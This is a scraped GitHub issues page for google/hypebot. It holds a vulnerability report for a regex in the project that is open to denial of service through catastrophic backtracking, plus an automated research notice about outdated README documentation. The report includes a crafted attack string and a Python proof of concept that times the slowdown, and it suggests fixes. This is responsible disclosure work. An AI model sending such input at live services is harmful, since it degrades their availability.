google / hypebot Goto Github PK

Type of Issue
Potential Regex Denial of Service (ReDoS)

Description
The vulnerable regular expression is located in

The ReDOS vulnerability can be exploited with the following string
$(!!:"":"":"":"":"":"":"":"":"":"":"":"":"":"":"":"":"":"":"":"":"":"":"":"":"":"":"":"":"":"":"":"":"":"":"":"":"":"":"":""!

You can execute the following code to reproduce ReDos

    import re
    from time import perf_counter
    REGEX = re.compile('\$\(([^\(\)]+(?:[^\(\)]*".*?"[^\(\)]*)*)\)')
    ATTACK = '$(!!:"":"":"":"":"":"":"":"":"":"":"":"":"":"":"":"":"":"":"":"":"":"":"":"":"":"":"":"":"":"":"":"":"":"":"":"":"":"":"":""!'
    LEN = len(ATTACK)
    BEGIN = perf_counter()
    print(REGEX.search(ATTACK))
    DURATION = perf_counter() - BEGIN
    print(f"{LEN}: took {DURATION} seconds!")

I think you can limit the input length or modify this regex.

We have identified 1 possible instance of outdated documentation:

• apixu_key was deleted but the change has not been reflected in the current version of the README file

About

This is part of a research project that aims to automatically detect outdated documentation in GitHub repositories. We are evaluating the validity of our approach by identifying instances of outdated documentation in real-world projects.

We hope that this research will be a step towards keeping documentation up-to-date. If this has been helpful, consider updating the documentation to keep it in sync with the source code. If this has not been helpful, consider updating this issue with an explanation, so that we can improve our approach. Thanks!